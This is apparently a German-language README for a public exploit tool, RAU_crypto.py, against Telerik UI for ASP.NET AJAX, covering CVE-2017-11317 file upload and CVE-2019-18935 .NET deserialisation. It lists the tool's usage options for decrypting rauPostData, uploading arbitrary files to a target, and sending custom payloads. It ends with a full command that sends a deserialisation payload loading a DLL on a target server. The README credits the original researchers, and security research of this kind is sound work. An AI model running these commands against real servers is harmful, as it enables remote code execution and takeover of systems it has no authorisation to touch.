
Dieses Projekt für CVE-2019-18935
Kombinierter Exploit für Telerik UI für ASP.NET AJAX.
Damit der Exploit funktioniert, benötigt man in der Regel eine Version mit hartcodierten Schlüsseln, oder man muss den Schlüssel kennen, etwa wenn man den Inhalt der web.config offenlegen kann. Der Exploit ermöglicht außerdem die unkomplizierte Entschlüsselung und Verschlüsselung der rauPostData, die mit Telerik.Web.UI.WebResource.axd?type=rau verwendet werden.
pip3 install pycryptodome oder pip3 install pycryptodomexMein anderer Telerik-UI-Exploit (für CVE-2017-9248) dürfte ebenfalls von Interesse sein. Er ist hier verfügbar:
Hinweis - die letzten vier Punkte sind abgeschlossen, aber nicht veröffentlicht.
Die Schwachstelle beim Datei-Upload (CVE-2017-11317) wurde von anderen entdeckt; meines Erachtens gebührt die Anerkennung @straight_blast @pwntester @olekmirosh. Kurz nach der Ankündigung stieß ich im Laufe meiner Arbeit auf die Telerik-Bibliothek, untersuchte sie und die Schwachstelle und schrieb diesen Exploit im Juli 2017. Ich habe außerdem CVE-2017-11357 für die damit verbundene unsichere direkte Objektreferenz gemeldet.
Die Schwachstelle in der .NET-Deserialisierung (CVE-2019-18935) wurde von @mwulftange entdeckt.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Entschlüsselungs-Screenshot
Upload-Screenshot
Details zu benutzerdefinierten Payloads für die .NET-Deserialisierung finden Sie in einem großartigen Artikel von @mwulftange, der diese Schwachstelle entdeckt hat, im Code-White-Blog unter dem folgenden Link.
Weitere relevante Links.
Beispiel-Payload für die .NET-Deserialisierung:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Für Mixed-Mode-DLLs siehe mein anderes GitHub-Repository:
Besonderer Dank geht an @irsdl, der die Funktion für benutzerdefinierte Payloads inspiriert hat.